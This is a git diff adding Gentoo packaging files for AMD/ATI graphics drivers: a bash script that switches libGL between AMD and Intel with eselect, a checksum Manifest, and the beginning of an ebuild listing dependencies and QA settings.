+++ b/x11-drivers/ati-drivers/files/switchlibGL
@@ -0,0 +1,61 @@
+#!/bin/bash
+#  switchlibGL
+#
+#  Copyright (c) 2011 Advanced Micro Devices, Inc.
+#
+#  Purpose:
+#    For switch between AMD and Intel graphic driver library.
+#
+#  Usage:
+#  switchlibGL   amd|intel|query
+#    amd:   switches to the AMD version of libGL.
+#    intel: switches to the open-source version of libGL .
+#    query: checks, which version is currently active and prints either "amd"
+#    or "intel" or "unknown" on the standard output.
+#    must be root to execute this script
+
+ARCH=`uname -m`
+E_ERR=1
+
+# Check if root
+if [ "`whoami`" != "root" ]; then
+  echo "Must be root to run this script." 1>&2
+  exit $E_ERR
+fi
+
+# One parameter
+if [ $# -ne 1 ]; then
+  echo "Usage: `basename $0` amd|intel|query " 1>&2
+  echo "Please choose one parameter " 1>&2
+  exit $E_ERR
+fi
+
+current=$(eselect opengl show)
+# Switch to right mode
+case "$1" in
+	"amd" )
+		if [ $current != ati ] ; then
+			eselect opengl set ati || return 1
+		fi
+	;;
+	"intel" )
+		if [ $current != xorg-x11 ] ; then
+			eselect opengl set xorg-x11 || return 1
+		fi
+	;;
+	"query" )
+		case "$current" in
+			"ati" )
+				echo "amd"
+			;;
+			"xorg-x11" )
+				echo "intel"
+			;;
+		esac
+	;;
+	* ) echo "Usage: `basename $0` amd|intel|query" 1>&2; exit $E_ERR;;
+	# other than amd|intel|query parameter report an error
+esac
+
+#  A zero return value from the script upon exit indicates success.
+exit 0
diff --git a/x11-drivers/ati-userspace/Manifest b/x11-drivers/ati-userspace/Manifest
new file mode 100644
index 00000000..86cbffe8
--- /dev/null
+++ b/x11-drivers/ati-userspace/Manifest
@@ -0,0 +1,57 @@
+AUX amd-drivers-3.2.7.1.patch 560 SHA256 7cc315754a47fbda6bf36bcee01780da7c19535c4f6ec1cccc556e9a7b32d263 SHA512 bcdc89e7a7148f5eb5450364298de6fb95dcad0d3c8d7091e9236d4f4b9cff0be24d59e8ed4ccdde0c8e94985ab8b4e7d5848e1e0e7102c699edb9230dbe57ce WHIRLPOOL 85ef893cd8bffa0d41b99eccd8b6e1ed713f69cc683dee52268ea0d6bc6fd4a77b3fdab31dd1e35ec3bbd21b399725286289c9fb3a276eff3922c1f8cf0746a2
+AUX ati-drivers-12.2-redefine-WARN.patch 1316 SHA256 f7d8ad3307823925cf8b4c6540db17a51553e48dd008793fc026803bb2aa1ced SHA512 1ee5f7fb5dc629f186754dc83a7d718a6a8acda836dadb2b87bd616c424db0aba067fb833d966cf79425ad78d94ab3f7c4014bbe2356f394630b0761625e74ab WHIRLPOOL 75987965689042342a923d4542a3f1b5eb4ba8ce3fc1ede82be8aeffaa2154a0dc75c507a4772bc00ef510eee7f4b47a51a2ea43aadce6e742e842e348c15b40
+AUX ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch 799 SHA256 0001fa7f2c3e15ec315f6c963dd428b682778c129250941a849577b8b3293e36 SHA512 a7ae5e7017c9b5a68d112d9a77df40ada722b06aff0cc31147713bfbce2419f9ca8c22b40398ab8b80c86427ff086a5617fb6de93d540af54365c7039cdcfe0f WHIRLPOOL 809c5bf8f0b0381af6a8549c36fcd00e75ff2f571f21cef3f2dec9ea823c65c29db28373b7145f39b9ed2cad234ec3c063407fb7a12260cfe1fe62eb67b5780d
+AUX ati-drivers-2.6.33.patch 3888 SHA256 88c242d50e9e158b5cdfe8de49abb49deb9f7d4fd4a3e014b9092a5eaa58332c SHA512 20d94e258766dff4b18ef26bee66f415b8975bbbae8dd4bfd2d7354538302c571747d5d672d3cdd1fd97bb4ce8e24756ab9afc7ebd55e9f7f19e3acee8bfaff1 WHIRLPOOL d7d753fa4a1c3f9432cf151a3ea524173036462c7850dc9309a8097bba61237194970e99d735f9efebf43253fc626e7b9ab1e69f95919fa76b2b60bf98696d61
+AUX ati-drivers-2.6.34.patch 358 SHA256 b6da2f0ad829a14b7e50d4ff2bab493ce45a2f4493bc558e28122c4fe7d4032c SHA512 a9329d3696d99395667a0b022fa64c1d4c35caeb144c9e08404613febe525d8e286ec36332232b0072bcf46e9380aa04fb01d010028ff0de8cb7aa530c91768e WHIRLPOOL cff3dab1b4b27bf99bc3861377849ecb5824228eeffb8a02fc0c2b2246b6a585443aaac7ef10a561ea9ac8d2ff00af378e2412dfafc62816fb9ab3f2515b8d71
+AUX ati-drivers-2.6.35-and-newer.patch 434 SHA256 6a962e79bfd01cd35488dc946c4e0056b5734c15711b6cb9e28c6fadc92d6bb4 SHA512 2a2d0bc62d946ac765a321cf0ab6c6d595622fc57426678f12c8c116f9f8f472e180f8349632ed725c612830f27af4f48180634555c3c7462ce8e59989c295f3 WHIRLPOOL cc2c87578729ade8268394084bde899ae1690a4c8720f4e4b6bb5c3778d896af434440a2993d87bf5a6d445757fdd86384344e4616e167122cc1d526705ad093
+AUX ati-drivers-2.6.36.patch 876 SHA256 00ffca26787d4c2cab6848cf0bec043e6c099c60738aebacb2148e920738fcb6 SHA512 2ee3a5b342aa13a64e033c0de109afa4330d85db440177804f24a3ed27a112719f688d8ad9b353d5b7c49ebb5a8944c397c0da552a59d33e12a8f3cb8493616c WHIRLPOOL c6b1937ec94e06d99b8c15b5d9c66b028d9171e21cc6d059f4e2ca571a88f6adb2d8cbbb7901e662d7e26a8c4c4e4835f6f4d49d43a72c627c4e2584c9f5c1f9
+AUX ati-drivers-2.6.37.patch 431 SHA256 fffd3d39f16fa57df020b2fddf17466a3633b7eac58dffa70525137010cc7ed6 SHA512 aac1a3cbbb333c5801c46a5e3c8b838c3f56cfbb68b851f8d3b89b383233e9b75aee0960b92bb4907665d14b97d8b8e3158a6ad2a0a92f1b8fab8a41766865fb WHIRLPOOL 2ef2cfa85c561572698bff4ed6bee1e2ac0ff9ffe30b802fc901bd0787837d77318c10acf14bf653da0e087ccf9492dcb07fd60c0e0173abf48d5e337b450ebc
+AUX ati-drivers-2.6.38.patch 1988 SHA256 32dcafbe0d584a36839b358acc777b2f2953e8d472f48722debb430f523ec11e SHA512 667623cae54669a736422511880936e6148105bc88e74b235db8c888148d0888cbe4bcd84d0344aa256cdf948796f85a39be686e66b0d2bac3375c4dfe4b5554 WHIRLPOOL b4b2de630be27741c2b9d645913aa73ec992adaa71f82f21b5ea748be5f9d6316e1b3fd11f8709ba6a87ef9ebffe4c7c9c1d6890a7f4011bd01b0792c993c83c
+AUX ati-drivers-CVE-2010-3081-fix.patch 2730 SHA256 bbace941d6e1e399b7ab46affe1887edb9a38892ccc2a498017146b838818afc SHA512 56b0aec0344788cf50765284f879fe804226fc930f43efaa0c8d536e0e3164ce3d9218236977fcca3499a5b199bd57e1e5c9d92c77a2658a75d82f47586e9082 WHIRLPOOL da473efb8149f8de43987c842d0214978eb08bbd6b3060cfec1fed50152501e5f10dbe02743d9e61888790f2e9fcecd6c0aa96d3ff9b6e48348885df14398fbe
+AUX ati-drivers-do_mmap.patch 1405 SHA256 3fc9bae50d25d3bfe76a3a1e89c8d025674a4cb9afd16d3a5d8b3c25a66f536d SHA512 1a2f8fe7f2506037d6d158e5c2efffa39c503566284d8f516cb2d84db546eced24df5dcb8d74ac84911589efb4547d7f8610d78ad29703f9ed0a9890576c51b7 WHIRLPOOL 86daa957d7569b26fdf92929e5b04a32379af067a208628eab1a4541fdebfb51fa4bfedeec63f4685c6258adcba2ddc4223b69dca329ecbebd4ba13167f66f82
+AUX ati-drivers-fix_compilation-bug-297322.patch 1114 SHA256 edbfc56eec848389c3dfdd94362322de41027b9813128d2d4f8e476d1d8581e3 SHA512 c2c4674ff63b05c4f5f007c64f70ebfd4bf6ba1a82938f06647d9683315105e3cee77716eed1efdd599177457164e339145ed0d51f2bbd7ad1f383dbb64634cd WHIRLPOOL bd3aa26fb333850ac0a5b554ab7cd5ac583ef9f277d6ada64d27dcfef0f1fe5174f67e04f8e951275fcfe449a80d2701c3a1d85e65ac55ef5665144924b2b127
+AUX ati-drivers-kernel-3.8-acpihandle.patch 717 SHA256 f7012bbc1d27a4d9207f8ba78256684a74b917311f525d3b061c11caefad2846 SHA512 a064ad1ebbb1010349c22d6fd6a4a3715df3d7087353a70199957b5c1c325b533b21c3f004567362a834faa0d8f169296ef996765d47439fdad4109a0d01f85c WHIRLPOOL e0eb93cd367f9e6e1848c3c3301c914f783865eb5d6c11a27a334624ee84cf7ee99073a6a2ff69014c8b920a51933573bf1224f53ea64c2666968f93ca922003
+AUX ati-drivers-old_rsp.patch 989 SHA256 dd222de89b515046c6cbfef172a3ec8d4bc48664799b3bbfff648091c6d54b49 SHA512 b86a230f126950d309b899ab3445154cf38cb8127b7686d0a467df6d3561a1785747e9522c00b55a294961c1157fe41833a5a85d4737775ae68bdb4099b0ee37 WHIRLPOOL cd06422ee90587c5c7485074b03ccaaef921134c721c0d0f6f678a9c968aae6417523c77d6dfcccc856cb5d125579197cd3c6a5b1c8557ce621784eabd0c43fa
+AUX ati-drivers-vm-reserverd.patch 408 SHA256 61128444938f94f911325b6cac810d3cb3614d0002758e48ba976b678414df30 SHA512 34cd4705f632b1493eac756538eb21fe0e090f78cf92cde7c2a7094a8fc8134ee6d5dd24c6bb9ad18c8ef46dd1d5505ae12d43032265cd4ade03793f277fe4c2 WHIRLPOOL 5a1a98145576b20bdd2e80e5f7f9a2b9bab02942a9fb83814d73d17f1bfec690ee0cd2ccfdf418f297e75432d8fcee8164a1d179eeb5bc716e1becf96bb373f1
+AUX ati-drivers-x32_something_something.patch 486 SHA256 9eb114a797089fca3693420305a6b668c4d7a16a722d5faa53dd904bba1b4c07 SHA512 157884244a49748c897a2eca1a46bf40631042d15af85c2b2f49bc3c3c48f5638dec815a4e9c67ee2c8b88cc15b7f71e9fe4d9bfebf5444bb169542048f66499 WHIRLPOOL f7583d7df16c9eb608aff2330b4bd55ede34986e6f3cf63aa4cb2c77dcfade7c499f1b4cef95fdc8e6ab28d7bb5544a80703bcf5a41eae6b90ca8830b6fdd888
+AUX ati-drivers-xen.patch 1994 SHA256 514dad9629fc689ec0344875a29d713f9d8de7ccbb0a22a2b80ede11bbbc6c58 SHA512 28eeaeea4589a5d87759e318abcf4f8d8e9b2fb3e289f76001cc17f8e515135aa023a424a0149240ad64fcf7721d15864c7218c30c3a097240c800384991e77f WHIRLPOOL 0f0965808d4270e8421d87575ffb1e51a2e095c746e7f536bb091b03287543d176f582976bfec51a5b9eb14c2e3a04c126b23447a6eb39f6e90eb76eda42236d
+AUX ati-powermode-opt-path-2.patch 1634 SHA256 e7749e04a3aa24132b13d0c694563a45c0d38e238f7412a75bd89aa9f9e9ead1 SHA512 7fc91789157d6211726d26be066e3984871eb579c77c422bde27f489f72215e66dbfb5d477ea6882d46ed6d0c63b9f01fdd5ee196fd6a2809bfc3ca22badc859 WHIRLPOOL a3d6f9335c748192a65bb3493a1dd2f604ef6b1270760908bb541d10ac9c4eb8009d7d5fb145b37c6fbfc1512a70ecda3c79f6f56396f8424f072fb92059e0a2
+AUX ati-powermode-opt-path-3.patch 1471 SHA256 35e73fef3d8e39714e8d6e73afaa7b205505db3bdd65c364e7ea02fdc0cb3055 SHA512 0e17026847062117993ba6115942d16421f6b9943afd57913c96e7550b0e49f3ed10e06bc98f9db1a5ba4af7c42dae6b55a332a97e73d48dba7f61ed0ad35ad4 WHIRLPOOL 39861d10d307e537549ed0c7967e18ad3ef658af66396f5491d1f2e13ab13e8b8e252d4c14b5ab616ff5aad69a599cf3b32accedd51438021d50cc074fa296a8
+AUX atieventsd.init 533 SHA256 20010ebc5cb286149f3c4c9c099b6470463ccdb8fd47cea054b783dc2ad1fff3 SHA512 9f8990bb5619f99524e0759a1c4b41b0b2c081c6eecb3916ab60df8e6b59d99e3615af61e0ba5b71d003ccaaf41e2143237b26f36f64f00a47e0fe94f83473dd WHIRLPOOL 21979818a19bc27e3527958c66bf45654df4a307862897530bc02be6616f45ee210590a9d1bcab84336c6061482034010efbb251770bfaf023f20ffae8212ecd
+AUX const-notifier-block.patch 878 SHA256 cd73f5e15d9521a989d8cd9b7e3b252406e7b89fdfc129fd2d470f0bc86e8457 SHA512 1b84cb85ce903d80ad50a0e2d53509016625d1ede070e18b800408d486dc89d5283d801d6449eb81ee25a7adffbd0094b57a301842364e1fb58cc6bf9623e5b4 WHIRLPOOL ee9785d250632cd8843a5995f36442ff6abec2d5a7158f3604a6bc147c7db251608b9484c3ac95376c4cc6b6a15f6682675bd011eb6a193a073ba873e17a9872
+AUX kernel/2.6.31-fglrx_find_task_by_vpid.patch 581 SHA256 4e95b588e894cfb89270168cd771c67bf270c805f30481fceebe47aac3f36980 SHA512 e65f31db60cd99c99dfba95c2f2fe0ee5f434092e7218dbdf6a727e3ffaab3d511541aa1ab64a53589d6fc89023c45d972708c0bd925840fa568f0d7f6faa512 WHIRLPOOL ee1061bff86a5711474eaea8b1b8a2cad5ff02e9a093e197af9a55e9b2dc33ed6bf38dfe02afec4f910250a241900049dd3986c65e95f98991a46549cb37c343
+AUX kernel/2.6.32-9.11-fix_compilation.patch 1434 SHA256 bd2df542c237d0570c3c75c0251514bbf8b67f3ceb40e734916ea53c75c189b7 SHA512 6676ba917616324e58a8df498cd2611523a38e2dfb5ea5683580951d3a39b2cc0040e00bc2238d1ef94f009e1771a6dddb2c02988d8af9aae6373f717ab9234b WHIRLPOOL 605bf802feede69c43a515b3b289c181c50b2f176028c7d170c41dd641bd5efed7d0ccad668d21a3d7c5c5c0f6418e317ba6c723e773269d063afb8990bae95b
+AUX switchlibGL 1349 SHA256 a4aa2107fdb903da77fea432bc809a1155e213db460fdec72fd1c3c7cc0d13a0 SHA512 51d2912aa6ec2002b096c0483be69650d682feec54486ed5226b91988bc1516f718c71d9f58a2b28e0dbc512c0300ea271f9a97885776dd045fe324f1549b85d WHIRLPOOL d335ea9c57a28f8450423089bbf798da77cc72fff6bad1221989412808abcd6bcb7afa41aa2b04231feff3dac6eaaff58a7595173e53b6cf0f5d3d591997b43d
+DIST amd-catalyst-13.4-linux-x86.x86_64.zip 122588023 SHA256 ebec78c7f78db3601d1c97116a6823076a7765318e16d88b619ebc80d4c6d1d5 SHA512 ce012f46527ee0073f658e97dd793954930b934b96be9e1c6cd1d344e7734ef81949b484701d5e7e1ebb221f46b5a617f4efb4445e42c06ac0a8b4eca76463fc WHIRLPOOL cb0f7af6d0474c3d521c5785bab49d76da7e09e1ddd02dc0e72b70b5afdb2bd1e07d4a4115a755f213718e7c32c816697d993b73706d58be68fa043aef1ad551
+DIST amd-driver-installer-12-1-x86.x86_64.run 106085279 SHA256 8d76700e0db68f74f735808ee7fd446cb5072734ba6ec03f2dd82c05ebfdc81d
+DIST amd-driver-installer-12-2-x86.x86_64.run 107213014 SHA256 054796cbf2d99e4b545d062ce8eabfd973e74e2e21a159092816238b001618fd
+DIST amd-driver-installer-12-3-x86.x86_64.run 108029053 SHA256 5f90c7e472ca0095efc16097ac7bcda846be0e980cc4d3e588cc4089efe8fb57 SHA512 5c5380dfcebacb7c4d7f0e6ffc5d26955f155266577c903bd4b4fc9d9bf5f241e6e13dc7ee14e14c96e9e0ad19d7d6680609978cfa1c5c4ec2f5d50881a43ee0 WHIRLPOOL 5e179a0ef89520dea6a5d249f4c55bd58310769131edc82babfb66c9ce946511effe7a32e883ba30a9bc40a3e6dc8194b57cbbfe0cb2593bec463de7816612f1
+DIST amd-driver-installer-12-4-x86.x86_64.run 108360519 SHA256 7f3ba3d96eba30fc09aec03ba72f5482d3b192bb0ea63a5e7b79454b053cb63c SHA512 fe466df547a05efb37b0dd1c685f819ceb51af83acefd65f2e500ab9165feac841d4b07afc32dc26391762963e929624e55115c0f505acb78289540baaadcfb5 WHIRLPOOL 7aa8817e75943977b753a93015a7d1e0f7a95383e6aaae7317da29eb07caa520a5376b2ab80e7caded543939d3c9428b80d915d5ba3d8377068349189890729c
+DIST amd-driver-installer-12-6-x86.x86_64.run 106660241 SHA256 b5c6070dc75e9296d0f04e7e0b3c6697f6c21872d50b1dcf4d7b3b0ab7ce7155
+DIST amd-driver-installer-12-8-x86.x86_64.zip 105413213 SHA256 62525173b2b7602aa4e7e46a109204d0f349abfbb135c86d03db5cd57642bb41
+DIST amd-driver-installer-12.6-legacy-x86.x86_64.zip 106888385 SHA256 5353a3f874d31f0fde46c390ce17cc2f27875156dbf3e7c20b5cca494a058102
+DIST amd-driver-installer-catalyst-12.10-x86.x86_64.zip 111686672 SHA256 ca2a097324687245801b3350316880d706c82f43684839dcf7f86f55141d835d SHA512 cef8a1f822d2a9bd81cf85c1410b75d400808946443c2bf95281f7c2cbcf376ac423199f41125825ed6639eaacd14ea688acc5c5b164186a4715b62ed6f5fb63 WHIRLPOOL 2186151882d9ba69af2a39a0a4dbb26adbff87fe69a90c40798e2390c44ce100e8d71f03c0c86e3a8be5d3429f98f3c107578aa5508b6fb983ca4235e0de8f74
+DIST amd-driver-installer-catalyst-13.1-linux-x86.x86_64.zip 114850263 SHA256 67898a922b6b58f25a276a144f16b19014f79c39e4d44d8d2883a467d31e34ad SHA512 30763ab7f47ac22c5b5055495e2d8ae6cc2c8e5ce711fa389f1145a48da2799020c2b8cbf082759d93628017860c39d69337f42ce21b78e1d60c9eda32096df9 WHIRLPOOL ee5dc85a89bc56858ef1c2bcdc6cbfde7e2f9e5675d209c1f6db877e0104cc536f1e18139f0b991a064b14b231a982770eef47368ea281067d62647b4c5365a5
+DIST ati-driver-installer-11-10-x86.x86_64.run 77926379 SHA256 a245e0305051313767fef1be88693702fccfb3f11c18a98f61c233af17e85f9e
+DIST ati-driver-installer-11-11-x86.x86_64.run 97090080 SHA256 fcd51cdc0c7572d443f5ce54576888f09efaced10b12ccf9fa775c81eaade013
+DIST ati-driver-installer-11-12-x86.x86_64.run 99618112 SHA256 0179d1f0425036e50b637e5153b0c64b25836d09e9d22bc50edfbdf6aed32b42
+DIST ati-driver-installer-11-6-x86.x86_64.run 75503458 SHA256 3dbb7cf1a5493588d872eb29b7376eb5db3913c4f35d631c3183d168eed1f67f
+DIST ati-driver-installer-11-8-x86.x86_64.run 75754239 SHA256 71e0194daef7a50c6d0d3b5712b05375a003d452e39c754278336c3811a2acdf
+DIST ati-driver-installer-11-9-x86.x86_64.run 76564617 SHA256 d9ad9c8e0bd250ac41c39d9b8e9f77efc82631f4bebacb82ddde982a86530d56
+DIST xvba-sdk-0.74-404001.tar.gz 583847 SHA256 731a2c489f2fb5d7318c1976061b26c1057a696f46d09dcf55fbada97fed17eb SHA512 aa1dd52b59eeeabd026d8b76e3b75eaf02587ef286438ba28884afeef5a5efaf50283b5ee4f5b81b12cf79cb4ec77c9a235a886b29fb7cdf850c9779f4b07b35 WHIRLPOOL 69917b746d353a884512e97b9d9a9b89e6f51add3119e69ddd119d51c0c3f2820b93a449fe42bd76d671dc505f92bf25b7f2c5868b33768fc68a19596e460951
+EBUILD ati-userspace-11.10.ebuild 11808 SHA256 059b1b3e10aaacb0ffe885ba70f5fa02d2545e89d19822b0780e75a1320aaaec SHA512 675a0f714e8e711783a58a985711c79583f818a82a7a6b376c4a95939e11565ec47ca70dcaf5358c6858ea759178a37d09a754afd1022a1295c51a47e750226b WHIRLPOOL 0caeafe4b7713184287f6646ac40b8e87157078e106bc9c86088d411238113511d9235c1a6dd45825391b3b14073fe5fd3f671f37975f3c8ed04545f79ac90a1
+EBUILD ati-userspace-11.11.ebuild 12763 SHA256 037611b73fe20c860bb83583e2ce3a074d01f62b7dc4e76035d8bdbf041cbe47 SHA512 ae16bea39a77a7084d5de78d3a6f39a9cc6717e839c07782e2b7306f0bb6711496413b11094bb31b6c471ae8280ff11bc076cf883d6c3f35ab5763f8bea459c0 WHIRLPOOL 1126de31e5fe44cb74cf753088405fff8c94506f97985702b5d74bad0e61d9367dd982676637b6934c85d76f42ae8c798830f8fb9985c67c1ef9f2728ecdc69f
+EBUILD ati-userspace-11.12.ebuild 12763 SHA256 037611b73fe20c860bb83583e2ce3a074d01f62b7dc4e76035d8bdbf041cbe47 SHA512 ae16bea39a77a7084d5de78d3a6f39a9cc6717e839c07782e2b7306f0bb6711496413b11094bb31b6c471ae8280ff11bc076cf883d6c3f35ab5763f8bea459c0 WHIRLPOOL 1126de31e5fe44cb74cf753088405fff8c94506f97985702b5d74bad0e61d9367dd982676637b6934c85d76f42ae8c798830f8fb9985c67c1ef9f2728ecdc69f
+EBUILD ati-userspace-11.6.ebuild 11866 SHA256 093f6ee56546dc837d73acb6c4e07dfac8f70af81bb914d608e4917f462ad58c SHA512 86bd9e91aa32e091b6633315ad954f3bb277aabd6ebee14b730d426f0121c2315ce51ef9d1ca19f72121f374affa100b237a3f08495a8d6b6d8974287676e43d WHIRLPOOL 2dd3a009805d6aec3c1d7d968457f447b9d8393581a6cd795c5ca7deab565497c92c318be9759ba881763e41865a18ff846b5ef596550c3755074f7a335a18a5
+EBUILD ati-userspace-11.8.ebuild 12248 SHA256 3e31c77d138ae1c1fcee0984f50dfd801816e57945af8a53b134c45da9ba3273 SHA512 3ad402cfb8fcdf243ecf7c2fe3e91a23aaa89dec17a42aef78768efcd7edf570a3cf226ffa8d4e89c670a2428669fb01bb712a090784d14df60c3edc5ea30a45 WHIRLPOOL 2f0f6a1f7c372ebe51c832c9ec04bba8fc08f48e103e949c2fd53b96b880c758289fccfba3fb7348f0419de0642e1c4046642662258b16189e00a3c8e9a0ae22
+EBUILD ati-userspace-11.9.ebuild 12248 SHA256 3e31c77d138ae1c1fcee0984f50dfd801816e57945af8a53b134c45da9ba3273 SHA512 3ad402cfb8fcdf243ecf7c2fe3e91a23aaa89dec17a42aef78768efcd7edf570a3cf226ffa8d4e89c670a2428669fb01bb712a090784d14df60c3edc5ea30a45 WHIRLPOOL 2f0f6a1f7c372ebe51c832c9ec04bba8fc08f48e103e949c2fd53b96b880c758289fccfba3fb7348f0419de0642e1c4046642662258b16189e00a3c8e9a0ae22
+EBUILD ati-userspace-12.1-r1.ebuild 12946 SHA256 cc51e10c26ec57f8399ebf20f39d0c0eaa1fbb34afb5c02d2e1f51835bfbdf43 SHA512 bb73937dd1287c4d359caebf9b1646bacd57e69d539220dc3971a0d7c7525795dc07b1b77eecd363d2e9cb6ba16a1db29f7c7b58f18d272053e5792a6a08f8a6 WHIRLPOOL 724ea9b5e3493aaa820fc4fe9c134e27a3198e05dcd178a92da249d5205c1164a45ba43f2a02c48cc6f4afd29a129ac1f81e6cd3e1c220d0d8770f761092ed3d
+EBUILD ati-userspace-12.10.ebuild 13651 SHA256 77f0538fa3ad51a69c3c1d832a2c97b7057b4cb9440860dd8def788277629cf3 SHA512 8fdc8fee7d86c14e5856a6532858a7ff8f5c6ebaebb77625ae5a4e8e8943b3089232b830eb7ae11b722d79c9ddd309d7e7fbef511293cacfc47e89fd09d508ce WHIRLPOOL d8f583a3c714d158da4c1671b0ece3926d0ead7d4e7073dfcf69a3199ed33d775a162380c7fb1fd8c5ea737598bb74442c328932da6ee683bff015302a82a6a7
+EBUILD ati-userspace-12.2.ebuild 12956 SHA256 2f139619c3b0b5c8fbc96a1d498cd4d397e6cb07f6e8a4947a4f0f53cfe729af SHA512 82f13dba5644cf1902b039a98ba03cd28b6886a115286728490c56f12c7d6612d4404c8e53cea68f4a3ed37f4c213dba97077468a3685cbb3edde00c2e658a4b WHIRLPOOL 22e1583d5471cc3cff01a22ec417df249b790e7b3268b676f6f5a7eb743c4e80b3d67348f79fd7b98a8813b348667ad1dd7aba226a0d401457ec738ca72104d4
+EBUILD ati-userspace-12.3.ebuild 13069 SHA256 2a4b17bd81ae4a92e07a8194230157c05f016fb9bbc4ef971b4c6a0724356f08 SHA512 8ca699d5a0fc202324758419ddd20cd6c7cdfe201b3ff440781ec6d7687057ab582779fd0626e194f6ba2d6ba412b197092bb98d4189a54739486a8c1fdda42f WHIRLPOOL 8ea5c455498fa15538f30840b51cc4fefa8df4fa27c4c5144088448a56c35f2834970244431638dd0a390bf291f70692cbc3a74ea435fecd5afbec7eaca00250
+EBUILD ati-userspace-12.4.ebuild 13069 SHA256 2a4b17bd81ae4a92e07a8194230157c05f016fb9bbc4ef971b4c6a0724356f08 SHA512 8ca699d5a0fc202324758419ddd20cd6c7cdfe201b3ff440781ec6d7687057ab582779fd0626e194f6ba2d6ba412b197092bb98d4189a54739486a8c1fdda42f WHIRLPOOL 8ea5c455498fa15538f30840b51cc4fefa8df4fa27c4c5144088448a56c35f2834970244431638dd0a390bf291f70692cbc3a74ea435fecd5afbec7eaca00250
+EBUILD ati-userspace-12.6.ebuild 13587 SHA256 1597a0dff6118a2c843612064c10a094fd3fd8fec54cac3965e48cc4b398ac94 SHA512 e8bd9e520eaccac0ed9033f7f43263efde627ebc56d567f9a7c83b615231b2b3bc949ce1bc0511c8fc41b4322ac17d864e47ae1ac176a2b0c2935f2d4cdababf WHIRLPOOL f79371d4d4d515ff32455858513cedbd7bd164e15bf82a1c27732808410ecae0599d8b70cf0d0115984958c74fea4c149fd804e69032eefc8a7346f5cc946e9f
+EBUILD ati-userspace-12.6_beta_pre897.ebuild 13630 SHA256 f9785fcebeeba1d4c9cc5efcd033267d86488cafe9c52d3f2dbf85d30fc8863f SHA512 6c69e081d93484c5e97590976e815f1f589c34095f2c2fc9268a75ae23dc7c8c6476c52af04ecaf64668bbc99055095f58d4741c59a6a8d41d3eeff16807b48a WHIRLPOOL cc7622637493300f61b6d648cc1fe502b9fcf78d9a50b5547a45aeeabeb07bffcd323139de237cce9079a4f4b34c5940cd0a0a4ada1b987db28c61932a2b2c2a
+EBUILD ati-userspace-12.8.ebuild 13535 SHA256 e9b7219aa54947e7def64a4a6ecb92d75ac6d3d8c0f2c96fb77ff7f2b35a2072 SHA512 95750fa9c5005c209f1489c99c6dfcdbf87decd4ba075822f6006dde29f27d8c473f7dd2ea3f92a7584142e2c9492fbd02471bf7d939322eff1f6b1e87a2f109 WHIRLPOOL 8e2b08f65c0d0e78c9b661b98eeb212ed9f0ab2cd501890bba2dc55362392a209f76f280761bd08e5d2d98572dd5753987737497cbe33a7d657c5bf45bcccfeb
+EBUILD ati-userspace-13.1.ebuild 15655 SHA256 8e3258c7d020ae22444159176076be1efb7f0719b53d1ffa188e38e0255862d7 SHA512 3057cb158f5268f0b1e60e4237519762de9d6d1ee682d73c0ba9d2e63196f6fc3633accff84c8384a078395a3571a0cfb7c31611308f838e366b9fc7dc8e80ee WHIRLPOOL 84be01a881793efe7a9376895a8dbc748233db99c89811bcbf6d33a4131a9c8b3dfaaa96a9d08340ac5f47cc114794491e1bda9e0af06101da6b9e33347c988d
+EBUILD ati-userspace-13.4.ebuild 15983 SHA256 59682a2bf9df19da0ea6d7a41706f501ec50afa7433bcfb61009f612692020dd SHA512 e3e2d18c8bdeec66cdfc307ce506d7bed51e676ab00a4eec5c098ac384e2c25bfb74ac9f9d15bcb8a3992643d0089b664c407d9f11e0ed7756078dd00d0d6219 WHIRLPOOL 1d7fa1cf20ff6e6264a83f438cdc5fed4ce1983f3785ca2d714ba97a22cc80df6158b500b6e9b8114c9a966a2e9e2b659ead4e8c43abb5cac3b46f92105dc8db
diff --git a/x11-drivers/ati-userspace/ati-userspace-11.10.ebuild b/x11-drivers/ati-userspace/ati-userspace-11.10.ebuild
new file mode 100644
index 00000000..97f73d32
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-11.10.ebuild
@@ -0,0 +1,384 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="<=x11-base/xorg-server-1.10.99
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? ( app-emulation/emul-linux-x86-opengl )
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	app-misc/pax-utils
+	app-portage/portage-utils
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
